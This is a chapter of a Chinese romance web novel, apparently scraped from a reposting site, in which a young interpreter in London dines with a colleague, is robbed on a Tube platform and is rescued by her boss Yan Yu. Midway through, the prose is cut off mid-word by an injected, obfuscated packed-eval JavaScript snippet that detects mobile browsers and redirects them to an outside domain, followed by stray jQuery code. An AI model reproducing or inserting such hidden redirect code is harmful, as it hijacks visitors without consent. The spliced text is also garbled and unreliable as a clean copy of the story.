隆隆轻响,电梯下行。
时隔多年的近距离接触,说不尴尬是假的。
许知韵凛直背脊,站在电梯的角落,和严聿中间隔着学长。
本以为对方邀请共乘,会主动寻找话题,然而从两人进来到现在,严聿都只是面色如常地站着,丝毫没有主动开口的意思。
密闭的空间、五十层的漫长距离,男人身姿笔挺形容冷峻,他似乎很注重翻译的职业礼节,西装规整、领带是线条更为流畅的普拉特结,甚至刻意避免了使用浓烈的香水,只有清冽的剃须水味道。
不知是电梯空间过于逼仄,还是严聿身上那股无孔不入的摄人气场,只是安静地与他共处一室,许知韵都幻觉难以呼吸。
尴尬无措的时候,时间很容易错觉被无限拉长。
许知韵仰头数着显示板上的数字,简直度秒如年。
终于,学长开口打破沉寂。
“驻场前的工作交接我已经整理好,今天下班前发到Fiona邮箱了。”
可能是因为面对着上司的老板,学长在用词上都更为正式。
“整理”这个词,他用的anize,而不是更为日常的sort out,倒真像是下属一板一眼地汇报工作。
于是许知韵忽然反应过来,如果学长特地跟严聿提起那个需要驻场的项目,是不是也意味着,这份工作其实是严聿安排的?
可是身为合伙人,严聿又怎么会无聊到亲自给一个小翻议安排项目?
思绪纷乱,眼神也就不受控制地滑到了前面紧闭的电梯门。
锃亮反光的镜面上,那双冷如雕塑的眸子压下来,正好撞上许知韵略微狐疑的目光。
心跳猝然一滞,她赶紧假作无意地移开了视线。
“嗯。”
严聿低声回应,末了还面无表情地补充,“以后非工作时间都可以跟我说中文,我十八岁以前都生长在中国,中文才是我的母语,听起来更亲切舒服,还有……”
声音逐渐清晰,说话的人似乎转向了两人的方向。
“叫我Leo,部长这个称呼,会让我觉得自己像个已经中年秃顶的英国老头。”
也许是因为他过于冷肃的气场,饶是和缓的语气,许知韵也错觉从中听到了几分警告和嫌弃。
学长愣了愣,尴尬地笑着应了声,“好”。
电梯门到达写字楼的大厅层,许知韵跟着学长同严聿道别,往银行站搭乘中央线。
伦敦的周五傍晚,车水马龙的不止是街道。
两人来到位于中国城的文兴酒家,这里也早已是人满为患。
等候煮菜的间隙,他们又随意聊了些工作。迷蒙的水汽上来,许知韵的思绪不知怎的,就回到了电梯里跟严聿对视的那一眼。
“你好像很崇拜Leo?”
问题出口,她当即就有些后悔。许知韵怕学长看出她话里话外对严聿的探究,只能用筷子搅动面前的牛油汤回避着视线。
学长被这个问题打开了话匣子,毫不掩饰地接话到,“是啊,我连手机号都故意找的跟他只差一位数的号,他是7我是1,嘿嘿!长得多像。”
许知韵扯了扯嘴角,心道这也太夸张了。
学长却还在滔滔不绝,“BA读的是能源与工程动力,跟Leo就是校友。我们那一届的开学典礼他受邀作为荣誉校友致辞,可以说我MA选择口译专业,有很大一部分原因就是因为他。”
“啊?”许知韵有些意外。
“对啊。”学长回应得倒是坦然,“撇开他在英国外交部的任职经历不谈,就说职业资格一项。”
学长伸出手来,满脸艳羡地如数家珍,“AIIC荣誉会员、CIOL会士、大型国际会议担任口译、还有口译方向的专著发表、威斯敏斯特高翻院最年轻客座教授,总之……”
学长不忘总结,“Leo就是口译这行,名符其实的Mr. Big.”
“Big?”许知韵蹙眉,思绪忽然就飘到了奇怪的地方。
“牛肉煮好了。”
她赶紧夹起一片红亮亮的牛肉放进学长碗里,总算是打断了他喋喋不休的盘点。
果然,人生百事皆烦恼,火锅一涮全忘了。
这一顿久违的美食,成功让学长的思绪从严聿转移到各种祛辣的凉茶。其间学长端茶递水,很是照顾许知韵,这点让她颇为满意。
酒足饭饱,等到两人从火锅店出来,已经是晚上九点半。
学长不放心她大晚上一个人乘车回去,专程绕路送了她一段,两人在换乘站道了别。
许知韵对着列车里的学长挥手,刚找了个空位坐下,包里的手机就震了起来。
拿出来一看,果然是学长发来的信息。
学长:【今天聊的很愉快,我们回来再约。】
小幸韵:【嗯,回来换你带我去吃你的家乡菜。】
学长:【没问题,你注意安全,早点回家。】
许知韵嘴角挑起一抹笑,故意逗他:【暂时还不打算回家哟,跟别的朋友还有约。】
对面安静几秒,屏幕上很快便跳出“对方正在输入”几个字。
等了好一会儿,学长的界面才出现新的信息:【这么晚还有约?】
【对呀。】
这一次,许知韵言简意赅,什么都不再多说。
果然,屏幕上方的“正在输入”又亮了起来。
学长似乎删删改改犹豫很久,许知韵盯着那行小字看得屏幕都快要自动锁掉,才等来对方一句简短的:【是要去酒吧吗?】
许知韵简直被他这点昭然若揭的小心思逗乐,毫不迟疑地回了个猫猫点头的表情包,然后就再也不搭理学长的信息。
吊足了对方胃口,许知韵心满意足地摁灭了手机。
远处有轰隆隆的声响传来,列车快要进站,许知韵拎起包包,往站台的方向走去。
这个时间的地铁站旅客不多也不少,许知韵眺望车来的方向,一不留神,就跟迎面走来的一个金发西装男人对上了视线。
剪裁流畅的西装、头发梳得规整、晚餐过后、中国城附近的地铁站,许知韵将他扫了一遍,很快得出结论——对方也是周末下班后刚聚完餐。
“晚上好。”
男人笑着跟许知韵打招呼,“我刚才在那边就注意到你了。”
典型的白男搭讪开场白,在伦敦的两年里,许知韵早就听得耳朵长茧。不过她今天心情好,等地铁又实在无聊,她不介意跟那人多聊两句。
于是她挑眉做出惊讶的模样,问他,“注意到我什么?”
“你很美。”男人的称赞毫不避讳。
他目光落在许知韵的唇,“你的口红颜色很漂亮,特别适合你。”
很好,夸到点上了。
比起那些自作聪明的油腻搭讪,许知韵一向更喜欢这种观察入微的务实派。
口红是她新入的限定款,和今天的包包鞋子都做了搭配,能看出这一点,说明对方也是个情场老手。这种人许知韵会比较小心一点,但聊骚解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949807|177503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闷儿却实在是个不错的选择。
“Excuse me.”
突然,许知韵被擦身而过的人撞了一下。
她下意识回头,看见一个用连帽衫把自己罩了个透的黑衣男人。
作为宇宙中心之一的伦敦,每个月光是发生在地铁站的抢劫事件就有上千起。
许知韵心头一怔,当即就反应过来,但包包已经被人猛地抓住了!
变化发生在一瞬。
许知韵几乎下意识就死死攥住了手里的包,而这样的行为显然激怒了帽衫男,他愣怔过后抬腿就往许知韵腿上踹去。
脚上趔趄了一下,身后响起列车进站时的鸣笛。
许知韵大呼救命,而刚才的西装男却早已不见了踪影。
爹的团伙作案!
许知韵骂骂咧咧,血脉觉醒,胎腿就往那黑衣人腿上踹,分神之时只觉被人猛地一推,整个身体都失控一般,踉跄着往道床下面扑去!
明晃晃的车头灯划破黑夜而来,整个站台都跟着震颤起来。
摇摇欲坠的霎那,腰间一紧。
她忽然被一股强大的力道拽了一下,生生改变了坠落的轨迹。
而刚才的动静也引得路人侧目,有几个热心市民自发拦截抢包的男人,那人见状不妙,扔下许知韵的包后,仓皇逃窜。
惊魂一刻,许知韵整个人都还是懵的。
直到路人拾起散落在地上的物件递还给她,许知韵才浑浑噩噩地连着说了好多句“谢谢”。
“搭讪还开心吗?”
耳畔响起熟悉的声音。
许知韵一愣,回头便见那双极有辨识度的眉眼——
是严聿。
上班时候都千躲万躲的人,怎么能在地铁站遇到?还被他看到自己这么狼狈的一面,真是见了鬼了……
许知韵惊讶得差点忘了表情管理,好在身后的地铁在这时停稳,车门打开,地铁站又恢复了人来人往的热闹和嘈杂。
短暂的目光接触后,她干脆埋头开始收拾自己的东西。
“许知韵。”
冷淡的声音再次响起。
他像小时候一样叫他许知韵,而不是公司里通用的英文名Zinnia。
许知韵心头一跳,假笑着回了句,“没事,谢谢Leo。”
严聿一言不发,看着她趴在地上手忙脚乱,那双锃亮的牛津鞋往后挪了一寸,露出地上一排粉色包装袋……
许知韵眉心一跳,看见那只骨节分明的大手里安静躺着的均码小雨帽,当真有股想要原地去世的冲动。
“谢谢。”她不动声色地稳住情绪,飞快将东西塞进了包包。
“跟Dylan吃饭去了?”
男人声音低沉,不像寒暄的寻问,倒像是父母在查岗。
许知韵有点反感,但碍着公众场合和对方上司的身份,只敷衍着回了句,“便饭。”
“吃便饭随身带套?”
“……”熟悉的语气,熟悉的讨厌,许知韵抽了抽嘴角,心道自己之前真是瞎了狗眼,才会觉得过了几年,这人就会变样。
事实证明,之前公司里的正经,都只是这人碍着自己的身份,装腔作势。
“所以怎么?”许知韵语气不善,“均码的尺寸也让你自卑?”
果然,严聿意料之中的脸色一黑。
许知韵懒得搭理他,借口整理包包回避视线,可是翻着翻着,许知韵猛然抬头看向严聿,一脸错愕地道:
“我手机好像丢了。”